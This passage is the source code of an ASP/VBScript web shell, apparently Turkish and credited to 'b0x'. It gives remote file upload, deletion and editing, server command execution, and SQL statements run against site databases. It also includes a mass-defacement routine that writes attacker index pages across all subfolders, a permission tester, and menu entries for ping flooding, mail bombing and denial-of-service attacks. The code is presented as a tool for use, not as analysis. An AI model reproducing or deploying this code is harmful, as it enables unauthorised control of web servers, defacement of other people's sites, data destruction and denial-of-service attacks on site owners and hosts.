LCase(pstrname) For llngIndex = 0 To mlngCount - 1 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then Set Fields = mobjFieldAry(llngIndex) Exit Property End If Next End If Set Fields = New clsField End Property Private Sub Class_Terminate() Dim llngIndex For llngIndex = 0 To mlngCount - 1 Set mobjFieldAry(llngIndex) = Nothing Next ReDim mobjFieldAry(-1) End Sub Private Sub Class_Initialize() ReDim mobjFieldAry(-1) CR = ChrB(Asc(vbCr)) LF = ChrB(Asc(vbLf)) CRLF = CR & LF mlngCount = 0 Call RequestData Call ParseDelimiter() Call ParseData End Sub Private Function CStrU(ByRef pstrANSI) Dim llngLength Dim llngIndex llngLength = LenB(pstrANSI) For llngIndex = 1 To llngLength CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) Next End Function Private Function CStrB(ByRef pstrUnicode) Dim llngLength Dim llngIndex llngLength = Len(pstrUnicode) For llngIndex = 1 To llngLength CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) Next End Function End Class Class clsField Public Name Private mstrPath Public FileDir Public FileExt Public FileName Public ContentType Public Value Public BinaryData Public Length Private mstrText Public Property Get BLOB() BLOB = BinaryData End Property Public Function BinaryAsText() Dim lbinBytes Dim lobjRs If Length = 0 Then Exit Function If LenB(BinaryData) = 0 Then Exit Function If Not Len(mstrText) = 0 Then BinaryAsText = mstrText Exit Function End If lbinBytes = ASCII2Bytes(BinaryData) mstrText = Bytes2Unicode(lbinBytes) BinaryAsText = mstrText End Function Public Sub SaveAs(ByRef pstrFileName) Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim lobjStream Dim lobjRs Dim lbinBytes If Length = 0 Then Exit Sub If LenB(BinaryData) = 0 Then Exit Sub Set lobjStream = Server.CreateObject("ADODB.Stream") lobjStream.Type = adTypeBinary Call lobjStream.Open() lbinBytes = ASCII2Bytes(BinaryData) Call lobjStream.Write(lbinBytes) On Error Resume Next Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) 'if err<>0 then response.Write "
"&err.Description Call lobjStream.Close() Set lobjStream = Nothing End Sub Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, ".") = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, "\") = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) End If If Not InStrRev(pstrPath, "\") = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) End If End Property Public Property Get FilePath() FilePath = mstrPath End Property private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields("BinaryData").Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class function addslash(path) if right(path,1)="\" then addslash=path else addslash=path & "\" end function sub Upload() dim objUpload,f,max,i,name,path,size,success set objUpload=New clsUpload targetPath=objUpload.Fields("folder").Value max=objUpload.Fields("max").Value for i=1 to max name=objUpload.Fields("file" & i).FileName size=objUpload.Fields("file" & i).Length if (name<>"") and (size>0) then gMsg=gMsg & "
" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " path=addslash(targetPath) & name objUpload.Fields("file" & i).SaveAs path if b0x.FileExists(path) then on error resume next set f=objb0x.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" end if next response.Write gMsg set objUpload=nothing end sub ' MD5 kodlama ba?lad??.. Private Const BITS_TO_A_BYTE = 8 Private Const BYTES_TO_A_WORD = 4 Private Const BITS_TO_A_WORD = 32 Private m_lOnBits(30) Private m_l2Power(30) m_lOnBits(0) = CLng(1) m_lOnBits(1) = CLng(3) m_lOnBits(2) = CLng(7) m_lOnBits(3) = CLng(15) m_lOnBits(4) = CLng(31) m_lOnBits(5) = CLng(63) m_lOnBits(6) = CLng(127) m_lOnBits(7) = CLng(255) m_lOnBits(8) = CLng(511) m_lOnBits(9) = CLng(1023) m_lOnBits(10) = CLng(2047) m_lOnBits(11) = CLng(4095) m_lOnBits(12) = CLng(8191) m_lOnBits(13) = CLng(16383) m_lOnBits(14) = CLng(32767) m_lOnBits(15) = CLng(65535) m_lOnBits(16) = CLng(131071) m_lOnBits(17) = CLng(262143) m_lOnBits(18) = CLng(524287) m_lOnBits(19) = CLng(1048575) m_lOnBits(20) = CLng(2097151) m_lOnBits(21) = CLng(4194303) m_lOnBits(22) = CLng(8388607) m_lOnBits(23) = CLng(16777215) m_lOnBits(24) = CLng(33554431) m_lOnBits(25) = CLng(67108863) m_lOnBits(26) = CLng(134217727) m_lOnBits(27) = CLng(268435455) m_lOnBits(28) = CLng(536870911) m_lOnBits(29) = CLng(1073741823) m_lOnBits(30) = CLng(2147483647) m_l2Power(0) = CLng(1) m_l2Power(1) = CLng(2) m_l2Power(2) = CLng(4) m_l2Power(3) = CLng(8) m_l2Power(4) = CLng(16) m_l2Power(5) = CLng(32) m_l2Power(6) = CLng(64) m_l2Power(7) = CLng(128) m_l2Power(8) = CLng(256) m_l2Power(9) = CLng(512) m_l2Power(10) = CLng(1024) m_l2Power(11) = CLng(2048) m_l2Power(12) = CLng(4096) m_l2Power(13) = CLng(8192) m_l2Power(14) = CLng(16384) m_l2Power(15) = CLng(32768) m_l2Power(16) = CLng(65536) m_l2Power(17) = CLng(131072) m_l2Power(18) = CLng(262144) m_l2Power(19) = CLng(524288) m_l2Power(20) = CLng(1048576) m_l2Power(21) = CLng(2097152) m_l2Power(22) = CLng(4194304) m_l2Power(23) = CLng(8388608) m_l2Power(24) = CLng(16777216) m_l2Power(25) = CLng(33554432) m_l2Power(26) = CLng(67108864) m_l2Power(27) = CLng(134217728) m_l2Power(28) = CLng(268435456) m_l2Power(29) = CLng(536870912) m_l2Power(30) = CLng(1073741824) Private Function LShift(lValue, iShiftBits) If iShiftBits = 0 Then LShift = lValue Exit Function ElseIf iShiftBits = 31 Then If lValue And 1 Then LShift = &H80000000 Else LShift = 0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If If (lValue And m_l2Power(31 - iShiftBits)) Then LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000 Else LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits)) End If End Function Private Function RShift(lValue, iShiftBits) If iShiftBits = 0 Then RShift = lValue Exit Function ElseIf iShiftBits = 31 Then If lValue And &H80000000 Then RShift = 1 Else RShift = 0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits) If (lValue And &H80000000) Then RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1))) End If End Function Private Function RotateLeft(lValue, iShiftBits) RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits)) End Function Private Function AddUnsigned(lX, lY) Dim lX4 Dim lY4 Dim lX8 Dim lY8 Dim lResult lX8 = lX And &H80000000 lY8 = lY And &H80000000 lX4 = lX And &H40000000 lY4 = lY And &H40000000 lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF) If lX4 And lY4 Then lResult = lResult Xor &H80000000 Xor lX8 Xor lY8 ElseIf lX4 Or lY4 Then If lResult And &H40000000 Then lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8 Else lResult = lResult Xor &H40000000 Xor lX8 Xor lY8 End If Else lResult = lResult Xor lX8 Xor lY8 End If AddUnsigned = lResult End Function Private Function Fq(x, y, z) Fq = (x And y) Or ((Not x) And z) End Function Private Function Gq(x, y, z) Gq = (x And z) Or (y And (Not z)) End Function Private Function Hq(x, y, z) Hq = (x Xor y Xor z) End Function Private Function Iq(x, y, z) Iq = (y Xor (x Or (Not z))) End Function Private Sub FF(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(Fq(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub GG(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(Gq(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub HH(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(Hq(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub II(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(Iq(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub '********************************************************* '************* COnverted Developed By TurkisH-RuleZ **************** '******* The Brute Algortihms Owned to b0x ;) ****** '********************************************************* '********************************************************* Private Function ConvertToWordArray(sMessage) Dim lMessageLength Dim lNumberOfWords Dim lWordArray() Dim lBytePosition Dim lByteCount Dim lWordCount Const MODULUS_BITS = 512 Const CONGRUENT_BITS = 448 lMessageLength = Len(sMessage) lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD) ReDim lWordArray(lNumberOfWords - 1) lBytePosition = 0 lByteCount = 0 Do Until lByteCount >= lMessageLength lWordCount = lByteCount \ BYTES_TO_A_WORD lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition) lByteCount = lByteCount + 1 Loop lWordCount = lByteCount \ BYTES_TO_A_WORD lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition) lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3) lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29) ConvertToWordArray = lWordArray End Function Private Function WordToHex(lValue) Dim lByte Dim lCount For lCount = 0 To 3 lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1) WordToHex = WordToHex & Right("0" & Hex(lByte), 2) Next End Function Public Function MD5(sMessage) Dim x Dim k Dim AA Dim BB Dim CC Dim DD Dim a Dim b Dim c Dim d Const S11 = 7 Const S12 = 12 Const S13 = 17 Const S14 = 22 Const S21 = 5 Const S22 = 9 Const S23 = 14 Const S24 = 20 Const S31 = 4 Const S32 = 11 Const S33 = 16 Const S34 = 23 Const S41 = 6 Const S42 = 10 Const S43 = 15 Const S44 = 21 x = ConvertToWordArray(sMessage) a = &H67452301 b = &HEFCDAB89 c = &H98BADCFE d = &H10325476 For k = 0 To UBound(x) Step 16 AA = a BB = b CC = c DD = d FF a, b, c, d, x(k + 0), S11, &HD76AA478 FF d, a, b, c, x(k + 1), S12, &HE8C7B756 FF c, d, a, b, x(k + 2), S13, &H242070DB FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE FF a, b, c, d, x(k + 4), S11, &HF57C0FAF FF d, a, b, c, x(k + 5), S12, &H4787C62A FF c, d, a, b, x(k + 6), S13, &HA8304613 FF b, c, d, a, x(k + 7), S14, &HFD469501 FF a, b, c, d, x(k + 8), S11, &H698098D8 FF d, a, b, c, x(k + 9), S12, &H8B44F7AF FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1 FF b, c, d, a, x(k + 11), S14, &H895CD7BE FF a, b, c, d, x(k + 12), S11, &H6B901122 FF d, a, b, c, x(k + 13), S12, &HFD987193 FF c, d, a, b, x(k + 14), S13, &HA679438E FF b, c, d, a, x(k + 15), S14, &H49B40821 GG a, b, c, d, x(k + 1), S21, &HF61E2562 GG d, a, b, c, x(k + 6), S22, &HC040B340 GG c, d, a, b, x(k + 11), S23, &H265E5A51 GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA GG a, b, c, d, x(k + 5), S21, &HD62F105D GG d, a, b, c, x(k + 10), S22, &H2441453 GG c, d, a, b, x(k + 15), S23, &HD8A1E681 GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8 GG a, b, c, d, x(k + 9), S21, &H21E1CDE6 GG d, a, b, c, x(k + 14), S22, &HC33707D6 GG c, d, a, b, x(k + 3), S23, &HF4D50D87 GG b, c, d, a, x(k + 8), S24, &H455A14ED GG a, b, c, d, x(k + 13), S21, &HA9E3E905 GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8 GG c, d, a, b, x(k + 7), S23, &H676F02D9 GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A HH a, b, c, d, x(k + 5), S31, &HFFFA3942 HH d, a, b, c, x(k + 8), S32, &H8771F681 HH c, d, a, b, x(k + 11), S33, &H6D9D6122 HH b, c, d, a, x(k + 14), S34, &HFDE5380C HH a, b, c, d, x(k + 1), S31, &HA4BEEA44 HH d, a, b, c, x(k + 4), S32, &H4BDECFA9 HH c, d, a, b, x(k + 7), S33, &HF6BB4B60 HH b, c, d, a, x(k + 10), S34, &HBEBFBC70 HH a, b, c, d, x(k + 13), S31, &H289B7EC6 HH d, a, b, c, x(k + 0), S32, &HEAA127FA HH c, d, a, b, x(k + 3), S33, &HD4EF3085 HH b, c, d, a, x(k + 6), S34, &H4881D05 HH a, b, c, d, x(k + 9), S31, &HD9D4D039 HH d, a, b, c, x(k + 12), S32, &HE6DB99E5 HH c, d, a, b, x(k + 15), S33, &H1FA27CF8 HH b, c, d, a, x(k + 2), S34, &HC4AC5665 II a, b, c, d, x(k + 0), S41, &HF4292244 II d, a, b, c, x(k + 7), S42, &H432AFF97 II c, d, a, b, x(k + 14), S43, &HAB9423A7 II b, c, d, a, x(k + 5), S44, &HFC93A039 II a, b, c, d, x(k + 12), S41, &H655B59C3 II d, a, b, c, x(k + 3), S42, &H8F0CCC92 II c, d, a, b, x(k + 10), S43, &HFFEFF47D II b, c, d, a, x(k + 1), S44, &H85845DD1 II a, b, c, d, x(k + 8), S41, &H6FA87E4F II d, a, b, c, x(k + 15), S42, &HFE2CE6E0 II c, d, a, b, x(k + 6), S43, &HA3014314 II b, c, d, a, x(k + 13), S44, &H4E0811A1 II a, b, c, d, x(k + 4), S41, &HF7537E82 II d, a, b, c, x(k + 11), S42, &HBD3AF235 II c, d, a, b, x(k + 2), S43, &H2AD7D2BB II b, c, d, a, x(k + 9), S44, &HEB86D391 a = AddUnsigned(a, AA) b = AddUnsigned(b, BB) c = AddUnsigned(c, CC) d = AddUnsigned(d, DD) Next MD5 = LCase(WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)) End Function '*************************************************************************************************************************** '*************************** MD5 KOdlar? Biter. ************************************************************************* '*************************************************************************************************************************** if popup = False then 'Link ve Path paneli by b0x 'Türk Bayra?? Ascii Karakterlerle - Created By b0x Response.Write "
 Z
" response.write "
" response.write "

" response.write "
   System Information * | MASS Attack | Permission Tester | Folder Options | CMD | My-MS_SQL | RegEdit | *Contact Us*!    

" response.write "
    Ping Attack? | Mail Bomber? | Ram & Cpu Attack | Denial OF Service Attack | MD5 & Serv-U | MSWCTools | XMLHTTP/RF ByPass    

" response.write "
   Search:    
" response.write "
" response.write "
   Path :    
" response.write "" response.write "
" response.write "
" 'Yetki paneli Coded by b0x response.write "" response.write "
" response.write "" response.write "" call yetki response.write "
   Options :   
" response.write "

" end if SELECT CASE mode CASE 2 ' Dizin Copy TA?I Coded by b0x on error resume next response.write "" response.write "
" response.write "
" response.write "" tablo30(" Dizin Copy / Ta?? Merkezi") tablo30(" ") response.write " " tablo12("Kop. Yer : ") tablo12("Copy Move File") tablo12("
") response.write "

" Call Status CASE 3 ' dizin kop ta??mam gerçekle?iyor by b0x on error resume next if islem="kopyala" then b0x.CopyFolder Path,FolderPath2 isl="kopyaland?.." elseif islem="tasi" then b0x.MoveFolder Path,FolderPath2 isl="ta??nd?.." end if response.Write "

Klasor "&isl&"
" response.Write "
Kaynak : "&FolderPath&"
Hedef : "&FolderPath2 response.Write "

by b0x
" Call Status CASE 4 ' Dizin S?lmee by b0x on error resume next b0x.DeleteFolder del if err<>0 then Call olmadi("Dizin Silenemdi") else Call oldu("Dizin Silindi") end if CASE 5 ' Dosya Deleting olay? gerçekli?iypor by b0x on error resume next b0x.DeleteFile del if err<>0 then Call olmadi("Dosya Silinemedi") else Call oldu("Dosya Silindi") end if 'CASE 6 ' Dosya Dowlaod etme by b0x ' Download Status l? oldu?u için, USTTE ta??d?mm CASE 7 ' Dosya Kopayla Ta??ma POST k?sm? by b0x on error resume next response.write "" response.write "
" response.write "
" response.write "" tablo30(" Copy File") tablo30(" ") response.write " " tablo12("Kop. Yer : ") tablo12("Copy Move ") tablo12("
") response.write "

" Call Status CASE 8 ' Dosya kopyala, ta??maa olay? by b0x on error resume next if islem="kopyala" then b0x.CopyFile file,folder&"" isl="kopyaland?.." elseif islem="tasi" then b0x.MoveFile file,folder&"" isl="ta??nd?.." end if if err <> 0 then response.Write "

Ba?ar?s?zl?kla sonuçland? !!!
" else response.Write "

Klasor "&isl&"
" end if response.Write "
Kaynak : "&file&"
Hedef : "&folder&"\" response.Write "

by b0x
" Call Status CASE 9 ' Dosya ?çini Go by b0x on error resume next Response.Write "
"&path&"

" Response.Write "
" set f = b0x.OpenTextFile(file,1) Response.Write "
"&Server.HTMLEncode(f.readAll)&"
" Response.Write "
" nolist = True if err<>62 then Status if err.number=62 then Response.Write "" nolist = False end if CASE 10 ' ASP txt php .. gibi dosyalar? Editlemek için POSt k?sm? by b0x on error resume next set f = b0x.OpenTextFile(file,1) response.Write "
" Response.Write "" Response.Write "" Response.Write "



" Response.Write "
" Call Status nolist = True CASE 11 ' Editleme olay?? gerçekle?iyor by b0x on error resume next set saveTextFile = b0x.OpenTextFile(file,2,true,false) Call Status saveTextFile.Write(islem) saveTextFile.close if err<>0 then olmadi("Editlenemedii") else oldu("Editlendi") end if CASE 12 ' Resim Dosyas?n? Goe by b0x on error resume next Response.Write "


" Call Status nolist = True CASE 13 ' SQL için TAblolar? Listeleme by b0x Response.Write "
Tablolar

" Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = file objConn.Open objADOX.ActiveConnection = objConn response.write "" For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "" End If Next response.write "
4 "&table.Name&"
" response.write "
" Call Status nolist = True CASE 14 ' TAblo içeri?i Gome by b0x Call SQL_menu_by_b0x Call SQL_by_b0x(file,table) nolist = True CASE 15 ' SQL kod yerle?tirme olay? by b0x if islem = "select" then inject = inject1 if islem = "delete" then inject = inject2 if islem = "insert" then inject = inject3 if islem = "update" then inject = inject4 if islem = "diger" then inject = inject5 SQL_menu_by_b0x response.write "
Db Yeri : "&file&"
" response.write "
Sql komut : "&inject&"

" if islem = "select" then if not b0xsql = "" then Call MSSQL_by_b0x(b0xsql,inject) else Call SQL_by_b0x(file,inject) end if else on error resume next if b0xsql = "" then Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = file objConn.Open else Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Open b0xsql end if if err <> 0 then response.write "

N DataBase ile Ba?lant?n?z Sa?lanaMAd?? !!! by b0x :( N


" else on error resume next objRcs.Open inject,objConn, adOpenKeyset , , adCmdText if err <> 0 then Call olmadi("
SQL ?njection Komutunuzda Status var. Bilmiyorsan Kullanma

") else Call oldu("
SQL ?njection Ba?ar?yla GErçekle?tii.

") end if end if objRcs.close objConn.close end if nolist = True CASE 16 ' Dosya ADI de?i?tirme Formu by b0x on error resume next response.write "" response.write "
" response.write "
" response.write "" tablo30(" Dosya AD? de?i?tirme MErkezi") tablo30("Ad? : "&islem&"
Yeri : "&file&"") response.write " " tablo12("Dosyan?n Yeni Ad?:  ") tablo12("
") response.write "

" Call Status CASE 17 ' Dosya Ad? de?i?tirme Olay? gerçekle?iyor by b0x on error resume next Set fileObject = b0x.GetFile(file) fileObject.Name = islem if err <> 0 then Call olmadi("
DOsya Ad? de?i?eMEdii

") else Call oldu("
Dosya Ad? de?i?ti

") end if Set fileObject = Nothing Call Status CASE 18 ' MAss Defeced Merkezi by b0x on error resume next response.write "
" response.write "
" response.write "" tablo30(" MASS Defaced Merkezi") tablo30("...... ::::: ?ndex KOD unu A?a??ya Yaz / Yap??t?r ::::: ......") tablo30("
Path :

") response.write " " tablo12O("") tablo12O(" Brute - Single - Private    Eklenti ") tablo12O(" Kopyalayarak - Olu?turarak") tablo12O("") yazsol("Brute : Belirtilen Dizinin ALt?ndaki; Tüm Dizinlere ve onlar?nda ALt Dizinleri ?ndex BAsar. ") yazsol("Single : Belirtilen Dizinin ALt?ndaki; Alt Dizinlere ?ndex BAsar. ") yazsol("Private : Belirtilen Dizinin ALt?ndaki; Alt Dizinlere ?stedi?iniz ?simle ?ndex BAsar. ") yazsol("Eklenti : BRUTE & Single ile kullan?l?r. Permsion var ise bunu seçmenize ayarlaman?za gerek yok. E?er site isimlerini listeleytebiliyor, ve içine girremiyor fakat klas?r atlayarak girebiliyorsan?z. o zaman bunu seçin ve bulunan klas?rrden sonrakine gidip oraya index leri atar. Mesela ; '..site\b0x_com', '..\site\haber_com' .. gibi siteelr listeli. bunlar?n içlerine girid?inizde g?rüntülkeme yetkinzi yok . Ama e?er '..\site\b0x_com\www\' yap?nca girebiliyorsna?z. PERM?S?ON a?ma y?ntemidir. b?ylece Eklenti yerine 'www' yazarak ve seçerekden. tüm sitelere o kla?sr içine girme yetkisini sa?lay?p, index b?rakt?r?rr?z. ") yazsol("Kopyalayarak : b0x dizinine bir TXT yazar. Sonra onu TUm klas?rlere KOpyalayarak i?lem yapar. E?er b0x dizininde Writing yok ise, i?lem gerçekle?mez. TUM MASS lar b?yledir. ") yazsol("Yaratarak : Direk index kodunuzu, Klas?lerde OLU?TURARAk MASS yapar. BU b0x & b0xPORTAL.CoM FARk? ile. 1-2 defa ba??ma geldi=) o yüzden bu ?zellei?i ekledim. ") yazsol("NOT : Brute & Single da 9 çe?it index basar, Private da ?stdi?iniz ?simle 1 tane atar ;) ") response.write "

" Call Status CASE 19 'Mass Deface ??leniyor. E?er ?ndex yok ise, Status ve FOrm sunuyor, aksi halde MASS yap?yor. file = file&"



" if hash9 = "copy" then on error resume next a=Left(replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"),InStrRev(replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"),"\")) Set hackindex = b0x.CreateTextFile(a&"\b0x.txt", True) hackindex.write file if err <> 0 then response.write "

N Bulundu?un Dizinde Writing YEtin yok. Bu yüzden ?ndex Sayfas? olu?turulamad?. N

N E?er ki Server içine bir Tane index yükler ve a?a??daki yere tam link ini yazarsan, O zaman MASS Defaced ba?l?yacakt?r. N


" response.write "" response.write "
" response.write "
" response.write "" response.write "" Call tablo30("?ndex in Server daki kendi ?ndex inin YErini G?ster. ") Call tablo30(" ") Call tablo12("") Call tablo12("
") response.write "

" else set hacking = nothing hacked = a&"\b0x.txt" hash6 = Path Call MassAttack2(Path,file,hash2) Call MassAttack(hash6,file,hash2) response.write "
..... :::: Bitttiiii :::: .....
" response.write "


Developed By TurkisH-RuleZ

" Response.Write "" end if else if hash9 = "yarat" then hash6 = Path Call MassAttack2(Path,file,hash2) Call MassAttack(hash6,file,hash2) response.write "
..... :::: Bitttiiii :::: .....
" response.write "


Developed By TurkisH-RuleZ

" Response.Write "" end if end if Call Status CASE 20 ' Status sonucu, düzeltme yap?ld? ise, burdan MAss dewaam ediyor. on error resume next Set cloner2 = b0x.GetFile(hacked) if err <> 0 then response.write "



N ?ndex Bulunamad?. Pathunu verid?in ?ndex yada Dosya BULUNAMADI. Mass Durdurudu !!! N




" set cloner2 = nothing else set cloner2 = nothing file="b0x" hash6 = Path Call MassAttack2(Path,file,hash2) Call MassAttack(hash6,file,hash2) response.write "
..... :::: Bitttiiii :::: .....
" response.write "


Developed By TurkisH-RuleZ

" Response.Write "" end if Call Status CASE 21 ' MASS tester formu by b0x on error resume next response.write "" response.write "
" response.write "
" response.write "" tablo30(" MASS Permision Tester") tablo30("...... ::::: ?zinleri Kontrol Eder ::::: ......") tablo30("
Path :

") response.write " " tablo12O("


") tablo12(" ") response.write "" response.write "
NOT : Bununla, Alt klas?rlerde Permision varm? yok mu ,Onu kontrol eder ve Listeler... N

" Call Status CASE 22 ' MASS TEster i?leme Gome by b0x Call Tester(Path) response.write "
..... :::: Bitttiiii :::: .....
" response.write "


Developed By TurkisH-RuleZ

" Response.Write "" Call Status CASE 23 ' arama bulma- en güzel ?zeli?i time out olmamas? buldu?unu Writing s?d?r =) by b0x eseridir. response.write "
" i=0 Call arama(Path) response.write "

" Response.Write "" nolist = True Call Status CASE 24 ' Klas?r i?lermleri için Upload - Dosya ayarat - kla?sr yarat FORM lar? by b0x on error resume next response.write "
" response.write "
Upload Merkezi
" response.write "
" response.write "" response.write "Max: " response.write "" response.write "" response.write "" response.write "" response.write "
" response.write "
" response.write "" response.write "
" response.write "" response.write "
" response.write "
Klas?r Olu?tur :
" response.write "
Dosya Ad? :
" response.write "
" Call Status CASE 25 ' Upload i?lemi by b0x Upload() CASE 26 ' Klas?r yarat by b0x response.write "



" if b0x.FolderExists(Path&"\"&file) = True then response.write "
N B?yle Bir Klas?r ZATEN VAr !!!! N
" else on error resume next b0x.CreateFolder(Path&"\"&file) if err <> 0 then olmadi("Klas?r Olu?turulamad?") else oldu("Klas?r Olu?turuldu") end if end if response.write "
" Call Status CASE 27 ' Dosya yarat by b0x response.write "



" on error resume next Set MyFile = b0x.CreateTextFile(Path&"\"&file, True) MyFile.write islem if err <> 0 then olmadi("Dosya Olu?turulamad?") else oldu("Dosya Olu?turuldu") end if response.write "
" MyFile.close() Call Status CASE 28 ' CMD Formu ve i?lem yeri by b0x if cmdkod="" then cmdkod="ipconfig" response.write "
" response.write "
CMD Komut Listele : " response.write "
" response.write "
" if inject5 = "b0x" then on error resume next tablo12("Komut Cal??t?r?ld?. ") end if response.write "
" response.write "" response.write "
CMD Komut Cal??t?r:
" response.write "
" tablo12L("NOT : CMD komutlar? tamamen , Server üzerinde çal??maktad?r. Siz burda yazaca??n?z komut orda çal???p, size geri d?necektir.") tablo12L("NOT : CMD Komut Listele olay?, >dir, >netstat, >ping gibi geri DOS da geri bilgi d?ndüren komutlar kullan?l?r. AMA e?er program çal???tmrka, traojan yada Notepad gibi fonksiyonal ve applicaitonl? programlar, komutlar?da CMD komut Cal??t?rdan Uygulaman?z gerekir.Aksi halde Sistem k?sa süreli kitlenme ya?an?r. CEvap al?namayabilinir.GEre?inden fazla çal???trm yaparsn?z , ??lemcide Sizin User?n?z?n RAM + CPU kulln?m? anormal artacakt?r. N") yazorta("-->> Kullan?labilir CMD komutlar?ndan BAz?lar? <<-- ") response.write "
by b0x
" CASE 29 ' CMD aç?klama k?sm? HELPER by b0x response.write "
" yazsol("Attrib: Attrib komutu dosyalara belli ?zellikleri verir veya kald?r?r. c:\>attrib +r +a +s +h yaz?p enter tu?una basarsak.(help için : ' attrib /? ' )") yazsol("Copy - xcopy : Copy ve xcopy komutu ile istenilen dosya yada dosyalar?n ba?ka yerlere kopyalanmas? i?lemi gerçekle?tirilir. Bilgi için bunu yaz?n :' copy /? '") yazsol("Net use : Pc nin Payla??m, Hesaplar?, ayarlar?, kullan?c?lar?... gibi ?zellliklere ula?abilece?imiz ve de?i?tirebilece?imiz bir komut NET . Yar?m dosyas? için -> net help Writing n?z yeterlidir.") yazsol("Netstat : PC deki aç?k portlar?, ve diledi?iniz port u dinleyebilirsiniz. Netstat -a -b -e -n -o -r -s -v gibi parametreler al?r.") yazsol("Tracert : Site, Ip, server ?n nerde oldu?unu tracert yapar. tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name ") yazsol("IPCONFIG : Server , PC nin IP bilgileirni, network bilgileirni veriyor. kuln?m için - > ipconfig help yaz?n yeterldir ") yazorta("by b0x") response.write "
" CASE 30 ' PiNGer BY b0x - Server üzerinden s?n?rs?z ping sald?rr?s?. =) Coded by b0x if not file = "1" then response.write "
" yazsol(" Site Ad? : (?rnek: google.com) ") yazsol(" Ping Say?s? : (?rnek: 20) ") yazsol(" Ping TimeOut Süresi : milisaniye (?rnek:750) ") yazsol(" Paket Boyutu : byte (32) ") response.write "
" response.write "
